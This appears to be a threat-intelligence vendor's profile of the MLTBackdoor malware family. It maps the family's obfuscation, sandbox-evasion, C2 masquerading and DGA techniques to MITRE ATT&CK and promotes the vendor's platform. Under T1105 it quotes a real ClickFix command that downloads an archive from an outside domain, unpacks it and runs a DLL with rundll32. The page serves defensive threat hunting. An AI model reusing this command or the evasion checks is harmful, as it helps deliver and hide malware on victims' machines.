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Malware

MLTBackdoor

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For your environment

Hunt this family in your stack

Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.

MITRE ATT&CK

Techniques & procedures

12 distinct techniques documented for this family, organized by ATT&CK tactic.

Execution

1 technique
T1204User ExecutionEvidence1

The infection chain begins with a ClickFix lure on an automotive-related web page. If the victim copies, pastes, and executes the ClickFix content, the following commands are executed

Stealth

7 techniques
T1027Obfuscated Files or InformationEvidence1

MLTBackdoor hinders analysis by using indirect system calls and API hashing, along with different obfuscation methods applied at compilation time using an LLVM-based obfuscator.

T1027.002Software PackingEvidence1

The Mixed Boolean-Arithmetic (MBA) obfuscation technique takes a normal arithmetic expression like x + y and rewrites it as something mathematically equivalent but much more difficult to follow.

T1027.007Dynamic API ResolutionEvidence1

MLTBackdoor resolves everything at runtime (Win32 APIs, system calls, and Beacon Object File symbols) using DJB2 hashing.

T1036MasqueradingEvidence1

MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path ( /api/v1/telemetry ) and User-Agent ( Microsoft-Delivery-Optimization/10.1 ) to masquerade as legitimate traffic.

T1497Virtualization/Sandbox EvasionEvidence1

MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution. Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request

T1497.001System ChecksEvidence1

Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID... Performs a minimum of 5 RDTSC + CPUID + RDTSC loops... Checks if RAM is below 2GB. Checks if the number of processors is 1. Checks whether the uptime is less than 5 minutes.

T1622Debugger EvasionEvidence1

Debugger check Queries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.

Discovery

4 techniques
T1083File and Directory DiscoveryEvidence1

MLTBackdoor includes a small set of built-in commands: download : Grabs a file from the victim’s machine. upload : Drops a file on the victim’s machine. ls : Lists files in a directory. delete : Deletes a file or folder. rename : Renames or moves a file or folder. mkdir : Creates a new folder.

T1497Virtualization/Sandbox EvasionEvidence1

MLTBackdoor includes multiple anti-analysis techniques to detect debuggers and sandboxed environments, but detection does not halt execution. Instead, MLTBackdoor aggregates the results of 10 distinct checks into a bitmask and sends it as part of its initial request

T1497.001System ChecksEvidence1

Checks whether the hypervisor bit is set; if so, queries leaf 0x40000000 to get the vendor ID... Performs a minimum of 5 RDTSC + CPUID + RDTSC loops... Checks if RAM is below 2GB. Checks if the number of processors is 1. Checks whether the uptime is less than 5 minutes.

T1622Debugger EvasionEvidence1

Debugger check Queries NtQueryInformationProcess with the ProcessDebugPort ProcessInformationClass to detect a debugger.

Command and Control

3 techniques
T1071Application Layer ProtocolEvidence1

MLTBackdoor uses a custom encrypted binary protocol over TLS on port 443 with a fixed path ( /api/v1/telemetry ) and User-Agent ( Microsoft-Delivery-Optimization/10.1 ) to masquerade as legitimate traffic.

T1105Ingress Tool TransferEvidence1

curl -skLo C:\users\\AppData\Local\Temp\x\t hxxps://hrs2y15sungu[.]com/d&pushd C:\users\\AppData\Local\Temp\x&tar xf t&del t&rundll32 endpointdlp.dll,#2

T1568.002Domain Generation AlgorithmsEvidence1

MLTBackdoor’s DGA algorithm is a deterministic date-based algorithm that generates a new domain per day... The DGA is designed to maintain control of infected systems if the C2s are unreachable.

INDICATORS OF COMPROMISE

IOCs tracked for this family

3 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.

View more in app
Network
2 tracked

IPs, domains, and DNS infrastructure linked to this family.

Other
1 tracked

Other indicator types observed in public reporting.

TypeValueLatest sighting
domain●●●●●●●●●●●●View more in apptoday
domain●●●●●●●●●●●●View more in apptoday
uri●●●●●●●●●●●●View more in apptoday
What this page doesn’t show

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching3

Match every observed IP, domain, and hash against your live telemetry.

Threat actor attribution

Named campaigns wielding this family, with evidence pinned to each claim.

Exploited vulnerabilities

CVEs this family uses for access and lateral movement.

Detection signatures

YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.

MITRE ATT&CK mapping12

Every documented technique, ranked by evidence weight.

Researcher chatter

Reddit, Mastodon, and CTI community discussion around this family.